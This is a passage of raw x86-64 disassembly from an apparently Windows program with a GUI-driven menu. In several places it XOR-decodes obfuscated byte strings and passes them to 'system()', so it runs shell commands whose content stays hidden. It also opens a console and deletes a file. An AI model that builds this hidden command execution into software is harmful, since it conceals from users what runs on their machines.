movss dword [rbp + 0x70], xmm0
movss dword [rbp + 0x74], xmm1
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm11
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], ebx
lea r9, [rbp + 0x70]
movaps xmm2, xmm11
xor edx, edx
mov rcx, rdi
call fcn.7ff73822bbc0
mov eax, dword [reloc.ucrtbase.dll_free]
cmp eax, reloc.ucrtbase.dll_free
je 0x7ff73824d08e
test eax, eax
jne 0x7ff73824d121
call fcn.7ff7382466a0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd20], xmm0
lea rcx, [rbp + 0xd20]
call fcn.7ff738204570
mov esi, eax
movaps xmm0, xmmword [0x7ff7382d2d40]
movups xmmword [rbp + 0xd10], xmm0
lea rcx, [rbp + 0xd10]
call fcn.7ff738204570
mov edi, eax
movaps xmm0, xmmword [0x7ff7382d2d40]
movups xmmword [rbp + 0xde0], xmm0
lea rcx, [rbp + 0xde0]
call fcn.7ff738204570
mov ebx, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0xd78], xmm0
lea rcx, [rbp + 0xd78]
call fcn.7ff738204570
movaps xmm0, xmm8
subss xmm0, xmm13
movaps xmm6, xmm9
mulss xmm6, xmm10
movss xmm3, dword [rbp + 0x34]
movaps xmm1, xmm3
addss xmm1, xmm0
movss xmm2, dword [rbp + 0x30]
movaps xmm0, xmm2
addss xmm0, xmm6
movss dword [rbp + 0x78], xmm0
movss dword [rbp + 0x7c], xmm1
addss xmm3, xmm11
movaps xmm0, xmm6
subss xmm0, xmm13
addss xmm0, xmm2
movss dword [rbp + 0x80], xmm0
movss dword [rbp + 0x84], xmm3
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
mov r9d, eax
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x80]
mov rdi, qword [rbp]
mov rcx, rdi
call fcn.7ff73822b890
mov dword [rsp + 0x20], 0xff
mov edx, 0x13
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xf70]
call fcn.7ff7382203a0
mov rcx, rax
call fcn.7ff738204570
movss xmm3, dword [rbp + 0x34]
movaps xmm1, xmm3
addss xmm1, xmm8
subss xmm1, xmm13
movss xmm2, dword [rbp + 0x30]
movaps xmm0, xmm2
addss xmm0, xmm9
subss xmm0, xmm11
movss dword [rbp + 0x88], xmm0
movss dword [rbp + 0x8c], xmm1
addss xmm3, xmm11
addss xmm2, xmm6
movss dword [rbp + 0x90], xmm2
movss dword [rbp + 0x94], xmm3
mov dword [rsp + 0x28], 0xa0
movss dword [rsp + 0x20], xmm7
mov r9d, eax
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0x90]
mov rcx, rdi
call fcn.7ff73822b6e0
mov dword [rbp + 0x98], reloc.ucrtbase.dll_free
mov dword [rbp + 0x9c], reloc.ucrtbase.dll_free
lea rdx, [rbp + 0x98]
mov ecx, 0xe
call fcn.7ff738204b50
mov dword [rbp + 0xa0], reloc.ucrtbase.dll_free
mov dword [rbp + 0xa4], reloc.ucrtbase.dll_free
lea rcx, [rbp + 0xa0]
call fcn.7ff738216090
subss xmm8, dword [0x7ff7382d2bdc]
movaps xmm7, xmm6
subss xmm7, xmm15
movss dword [rbp + 0xa8], xmm7
movss dword [rbp + 0xac], xmm8
mov rcx, qword [0x7ff7392b7b20]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
xor r8d, r8d
lea rdx, [0x7ff7382d1758]
mov rcx, qword [rcx + 0x3ed8]
call fcn.7ff738207bd0
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0xa8]
lea rcx, [0x7ff7382d1758]
call fcn.7ff73820bfa0
mov ebx, r14d
mov rsi, r14
mov r8, qword [rbp + 0x48]
mov rcx, r8
mov r10, qword [rbp + 0x40]
sub rcx, r10
movabs r9, 0x6666666666666667
mov rax, r9
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x7ff738249486
mov rdi, r14
nop dword [rax]
nop word [rax + rax]
cmp dword [0x7ff7392b8280], ebx
sete cl
sub r8, r10
mov rax, r9
imul r8
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, rsi
jbe 0x7ff73824df33
mov byte [rsp + 0x20], cl
mov r9, qword [r10 + rdi + 0x10]
mov r8, qword [r10 + rdi + 8]
mov rdx, qword [r10 + rdi]
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823ab40
test al, al
je 0x7ff738249441
mov dword [0x7ff7392b8280], ebx
inc ebx
inc rsi
add rdi, 0x28
mov r8, qword [rbp + 0x48]
mov rcx, r8
mov r10, qword [rbp + 0x40]
sub rcx, r10
movabs r9, 0x6666666666666667
mov rax, r9
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rax, ebx
cmp rax, rdx
jb 0x7ff7382493f0
mov rdi, qword [rbp]
call fcn.7ff73820c210
addss xmm6, dword [0x7ff7382d2bc4]
movss dword [rbp + 0xb0], xmm6
mov dword [rbp + 0xb4], reloc.ucrtbase.dll_free
lea rcx, [rbp + 0xb0]
call fcn.7ff738216090
movss dword [rbp + 0xb8], xmm7
movss dword [rbp + 0xbc], xmm8
mov rcx, qword [0x7ff7392b7b20]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
xor r8d, r8d
lea rdx, [0x7ff7382d1760]
mov rcx, qword [rcx + 0x3ed8]
call fcn.7ff738207bd0
mov edx, eax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [rbp + 0xb8]
lea rcx, [0x7ff7382d1760]
call fcn.7ff73820bfa0
mov rax, qword [0x7ff7392b7b20]
mov rcx, qword [rax + 0x3ed8]
movss xmm6, dword [rcx + 0x28]
movss dword [rsp + 0x20], xmm14
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x7ff7382d1768]
lea rcx, [rbp + 0x290]
call fcn.7ff73820bb90
mulss xmm6, xmm10
movss xmm1, dword [rax]
mulss xmm1, xmm10
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.7ff7382160f0
mov rax, qword [0x7ff7392b7b20]
movups xmm0, xmmword [rax + 0x38a4]
movups xmmword [rbp + 0x488], xmm0
shufps xmm0, xmm0, 0xff
mulss xmm0, dword [rax + 0x37c8]
movss dword [rbp + reloc.ucrtbase.dll_free], xmm0
lea rcx, [rbp + 0x488]
call fcn.7ff738204570
mov r9d, eax
lea r8, [0x7ff7382d1778]
lea rdx, [0x7ff7382d1780]
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823b720
call fcn.7ff7382368c0
call fcn.7ff7382368c0
call fcn.7ff7382368c0
mov rax, qword [0x7ff7392b7b20]
movups xmm0, xmmword [rax + 0x38a4]
movups xmmword [rbp + 0x498], xmm0
shufps xmm0, xmm0, 0xff
mulss xmm0, dword [rax + 0x37c8]
movss dword [rbp + reloc.ucrtbase.dll_free], xmm0
lea rcx, [rbp + 0x498]
call fcn.7ff738204570
mov r9d, eax
movsxd r8, dword [0x7ff7392b8280]
mov rcx, qword [rbp + 0x48]
mov r10, qword [rbp + 0x40]
sub rcx, r10
movabs rsi, 0x6666666666666667
mov rax, rsi
imul rcx
sar rdx, 4
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
cmp rdx, r8
jbe 0x7ff73824df33
lea rax, [r8 + r8*4]
mov r8, qword [r10 + rax*8 + 8]
lea rdx, [0x7ff7382d1788]
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823b720
movsxd r8, dword [0x7ff7392b8280]
mov rcx, qword [rbp + 0x48]
mov r9, qword [rbp + 0x40]
sub rcx, r9
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, r8
jbe 0x7ff73824df2d
lea r8, [r8 + r8*4]
mov r8, qword [r9 + r8*8 + 0x20]
lea rdx, [rbp + 0xf30]
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823e6b0
mov rcx, rax
call fcn.7ff738204570
mov r9d, eax
movsxd r8, dword [0x7ff7392b8280]
mov rcx, qword [rbp + 0x48]
mov r10, qword [rbp + 0x40]
sub rcx, r10
mov rax, rsi
imul rcx
sar rdx, 4
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
cmp rdx, r8
jbe 0x7ff73824df2d
lea rax, [r8 + r8*4]
mov r8, qword [r10 + rax*8 + 0x20]
lea rdx, [0x7ff7382d1798]
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823b720
mov rax, qword [0x7ff7392b7b20]
movups xmm0, xmmword [rax + 0x38a4]
movups xmmword [rbp + 0x4b8], xmm0
shufps xmm0, xmm0, 0xff
mulss xmm0, dword [rax + 0x37c8]
movss dword [rbp + reloc.ucrtbase.dll_free], xmm0
lea rcx, [rbp + 0x4b8]
call fcn.7ff738204570
mov r9d, eax
movsxd r8, dword [0x7ff7392b8280]
mov rcx, qword [rbp + 0x48]
mov r10, qword [rbp + 0x40]
sub rcx, r10
mov rax, rsi
imul rcx
sar rdx, 4
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
cmp rdx, r8
jbe 0x7ff73824df33
lea rax, [r8 + r8*4]
mov r8, qword [r10 + rax*8 + 0x10]
lea rdx, [0x7ff7382d17a0]
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823b720
call fcn.7ff7382368c0
lea rdx, [0x7ff7392b7b19]
lea rcx, [0x7ff7382d17b0]
call fcn.7ff738236330
test al, al
je 0x7ff738249793
cmp byte [0x7ff7392b7b19], 0
je 0x7ff738249793
call fcn.7ff7382418d0
call fcn.7ff7382368c0
lea rdx, [0x7ff7392b7b1a]
lea rcx, [0x7ff7382d17c0]
call fcn.7ff738236330
test al, al
je 0x7ff7382497e6
cmp byte [0x7ff7392b7b1a], 0
je 0x7ff7382497e6
lea rdx, [0x7ff738246670]
lea rcx, [rbp + 0x4a8]
call fcn.7ff738250a30
nop
lea rcx, [rbp + 0x4a8]
call fcn.7ff73823f350
nop
cmp dword [rbp + reloc.ucrtbase.dll_free], 0
jne 0x7ff73824d23c
mov ecx, 0x400
call fcn.7ff7382081a0
test al, al
je 0x7ff73824984b
movsd xmm0, qword [0x7ff7382d25e0]
movsd qword [rbp + 0x23], xmm0
movzx ecx, word [0x7ff7382d25e8]
mov word [rbp + 0x2b], cx
movzx eax, byte [0x7ff7382d25ea]
mov byte [rbp + 0x23], 0x53
xor byte [rbp + 0x24], 0x37
xor byte [rbp + 0x25], 0x38
xor byte [rbp + 0x26], 0x39
xor byte [rbp + 0x27], 0x3a
xor byte [rbp + 0x28], 0x3b
xor byte [rbp + 0x29], 0x3c
xor byte [rbp + 0x2a], 0x3d
xor cl, 0x3e
mov byte [rbp + 0x2b], cl
xor byte [rbp + 0x2c], 0x3f
xor al, 0x40
mov byte [rbp + 0x2d], al
lea rcx, [rbp + 0x23]
call fcn.7ff738216da0
call fcn.7ff7382368c0
lea rdx, [0x7ff7392b7b19]
lea rcx, [0x7ff7382d17d0]
call fcn.7ff738236330
test al, al
je 0x7ff738249875
cmp byte [0x7ff7392b7b1c], 0
je 0x7ff738249875
call fcn.7ff738240e90
mov ecx, 0x400
call fcn.7ff7382081a0
test al, al
je 0x7ff738249a5c
movups xmm0, xmmword [0x7ff7382d2778]
movups xmmword [rbp + 0x3e8], xmm0
movsd xmm0, qword [0x7ff7382d2788]
movsd qword [rbp + 0x3f8], xmm0
cmp byte [0x7ff7382d278f], 0
je 0x7ff738249a50
cmp dword [0x7ff7382e30a0], 2
jl 0x7ff738249a0d
movdqa xmm5, xmmword [0x7ff7382d2ca0]
mov edx, r14d
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x3ec]
mov r8d, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x7ff738249910
jmp 0x7ff738249a50
lea r9, [rbp + 0x3e8]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x7ff738249a20
lea rcx, [rbp + 0x3e8]
call fcn.7ff738216da0
lea rdx, [0x7ff7392b7b1b]
lea rcx, [0x7ff7382d17f0]
call fcn.7ff738236330
test al, al
je 0x7ff738249bef
cmp byte [0x7ff7392b7b1b], 0
je 0x7ff738249bef
call qword [sym.imp.kernel32.dll_AllocConsole]
xor ecx, ecx
call qword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov r8, rax
lea rdx, [0x7ff7382d148c]
lea rcx, [0x7ff7382d1818]
call qword [sym.imp.ucrtbase.dll_freopen]
mov ecx, r13d
call qword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov r8, rax
lea rdx, [0x7ff7382d14b0]
lea rcx, [0x7ff7382d1820]
call qword [sym.imp.ucrtbase.dll_freopen]
mov ecx, 2
call qword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov r8, rax
lea rdx, [0x7ff7382d14b0]
lea rcx, [0x7ff7382d1820]
call qword [sym.imp.ucrtbase.dll_freopen]
lea rdx, [0x7ff7382d148c]
lea rcx, [0x7ff7382d1810]
call qword [sym.imp.ucrtbase.dll_fopen]
test rax, rax
je 0x7ff738249bcd
mov rcx, rax
call qword [sym.imp.ucrtbase.dll_fclose]
lea rdx, [0x7ff7382d1840]
mov rcx, qword [0x7ff7382b5570]
call fcn.7ff738250010
mov rcx, rax
lea rdx, [0x7ff7382d1810]
call fcn.7ff738250010
mov rcx, rax
lea rdx, [0x7ff7382d1828]
call fcn.7ff738250010
lea rdx, [0x7ff7382d1898]
mov rcx, qword [0x7ff7382b5570]
call fcn.7ff738250010
mov rcx, rax
lea rdx, [0x7ff7382d1810]
call fcn.7ff738250010
mov rcx, rax
lea rdx, [0x7ff7382d1828]
call fcn.7ff738250010
lea rdx, [rbp + 0x20]
mov rcx, qword [0x7ff7382b5560]
call fcn.7ff738250280
movzx eax, byte [rbp + 0x20]
sub al, 0x59
test al, 0xdf
je 0x7ff738249b9d
lea rdx, [0x7ff7382d18f8]
mov rcx, qword [0x7ff7382b5570]
jmp 0x7ff738249bea
lea rcx, [0x7ff7382d1810]
call qword [sym.imp.ucrtbase.dll_remove]
test eax, eax
jne 0x7ff738249bbe
lea rdx, [0x7ff7382d18c0]
mov rcx, qword [0x7ff7382b5570]
jmp 0x7ff738249bea
lea rcx, [0x7ff7382d18e0]
call qword [sym.imp.ucrtbase.dll_perror]
jmp 0x7ff738249bef
lea rdx, [0x7ff7382d1810]
mov rcx, qword [0x7ff7382b5570]
call fcn.7ff738250010
mov rcx, rax
lea rdx, [0x7ff7382d1910]
call fcn.7ff738250010
movsxd r8, dword [0x7ff7392b8280]
mov rcx, qword [rbp + 0x48]
mov r9, qword [rbp + 0x40]
sub rcx, r9
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, r8
jbe 0x7ff73824df45
lea r8, [r8 + r8*4]
mov r8, qword [r9 + r8*8 + 0x20]
lea rdx, [rbp + 0xf40]
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823e6b0
mov rcx, qword [0x7ff7392b7b20]
mov rdx, qword [rcx + 0x3ed8]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0xdd0], xmm0
lea r9, [rbp + 0xdd0]
movss xmm1, dword [rdx + 0x28]
unpcklps xmm1, xmm15
movq r8, xmm1
lea rdx, [0x7ff7382d1920]
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823bbc0
test al, al
je case.default.0x7ff738249ca3
movsxd rax, dword [0x7ff7392b8280]
cmp eax, 8
ja case.default.0x7ff738249ca3
lea rdx, [0x7ff738200000]
mov ecx, dword [rdx + rax*4 + reloc.ucrtbase.dll_free]
add rcx, rdx
jmp rcx
movups xmm0, xmmword [0x7ff7382d2700]
movups xmmword [rbp + 0xdf0], xmm0
movups xmm1, xmmword [0x7ff7382d2710]
movups xmmword [rbp + 0xe00], xmm1
movups xmm0, xmmword [0x7ff7382d2720]
movups xmmword [rbp + 0xe10], xmm0
movups xmm1, xmmword [0x7ff7382d2730]
movups xmmword [rbp + 0xe20], xmm1
mov eax, dword [0x7ff7382d2740]
mov dword [rbp + reloc.ucrtbase.dll_free], eax
mov r8d, r14d
mov ebx, dword [0x7ff7382e30a0]
cmp ebx, 2
jl 0x7ff738249e43
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0xdf4]
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x7ff738249d40
cmp r8d, 0x44
jge 0x7ff738249e80
movsxd rax, r8d
lea r9, [rbp + 0xdf0]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x44
jl 0x7ff738249e50
lea rcx, [rbp + 0xdf0]
call qword [sym.imp.ucrtbase.dll_system]
movups xmm0, xmmword [0x7ff7382d2350]
movups xmmword [rbp + 0x241], xmm0
mov eax, dword [0x7ff7382d2360]
mov dword [rbp + reloc.ucrtbase.dll_free], eax
movzx eax, word [0x7ff7382d2364]
mov word [rbp + 0x255], ax
cmp byte [0x7ff7382d2365], 0
je 0x7ff73824a050
mov r8d, r14d
cmp ebx, 2
jl 0x7ff73824a013
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x245]
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x7ff738249f10
cmp r8d, 0x16
jge 0x7ff73824a050
movsxd rax, r8d
lea r9, [rbp + 0x241]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x7ff73824a020
lea rcx, [rbp + 0x241]
call qword [sym.imp.ucrtbase.dll_system]
movss xmm0, dword [0x7ff7382e30dc]
movss xmm6, dword [0x7ff7382d2bfc]
mulss xmm0, xmm6
movss xmm2, dword [r15 + 0x2c]
subss xmm2, xmm0
movss xmm1, dword [r15 + 0x28]
mulss xmm1, xmm10
movaps xmm0, xmm1
subss xmm0, xmm12
mulss xmm0, xmm10
subss xmm1, xmm0
movss dword [rbp + 0xc0], xmm1
movss dword [rbp + 0xc4], xmm2
lea rcx, [rbp + 0xc0]
call fcn.7ff738216090
movss xmm0, dword [r15 + 0x28]
mulss xmm0, xmm10
subss xmm0, xmm12
movss xmm7, dword [0x7ff7382d2bac]
unpcklps xmm0, xmm7
movq r9, xmm0
lea r8, [0x7ff7382d1740]
mov rdx, rdi
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823c2f0
test al, al
je 0x7ff73824ca2e
mov dword [reloc.ucrtbase.dll_free], r14d
jmp 0x7ff73824ca2e
movups xmm0, xmmword [0x7ff7382d24d0]
movups xmmword [rbp + 0x272], xmm0
movsd xmm0, qword [0x7ff7382d24e0]
movsd qword [rbp + 0x282], xmm0
movzx eax, word [0x7ff7382d24e8]
mov word [rbp + 0x28a], ax
movzx eax, byte [0x7ff7382d24ea]
mov byte [rbp + 0x28c], al
mov r8d, r14d
mov ebx, dword [0x7ff7382e30a0]
cmp ebx, 2
jl 0x7ff73824a293
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x276]
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x7ff73824a190
cmp r8d, 0x1b
jge 0x7ff73824a2d0
movsxd rax, r8d
lea r9, [rbp + 0x272]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x7ff73824a2a0
lea rdx, [rbp + 0x272]
lea rcx, [rbp + 0x1010]
call fcn.7ff73824f670
mov rdx, rax
lea rcx, [0x7ff7392b7c10]
call fcn.7ff73825ee80
movups xmm0, xmmword [0x7ff7382d2a90]
movups xmmword [rbp + 0xcb0], xmm0
movups xmm1, xmmword [0x7ff7382d2aa0]
movups xmmword [rbp + 0xcc0], xmm1
movups xmm0, xmmword [0x7ff7382d2ab0]
movups xmmword [rbp + 0xcd0], xmm0
movups xmm1, xmmword [0x7ff7382d2ac0]
movups xmmword [rbp + 0xce0], xmm1
movups xmm0, xmmword [0x7ff7382d2ad0]
movups xmmword [rbp + 0xcf0], xmm0
movsd xmm0, qword [0x7ff7382d2ae0]
movsd qword [rbp + 0xd00], xmm0
mov eax, dword [0x7ff7382d2ae8]
mov dword [rbp + reloc.ucrtbase.dll_free], eax
movzx eax, word [0x7ff7382d2aec]
mov word [rbp + 0xd0c], ax
movzx eax, byte [0x7ff7382d2aee]
mov byte [rbp + 0xd0e], al
mov r8d, r14d
cmp ebx, 2
jl 0x7ff73824a4c3
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0xcb4]
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
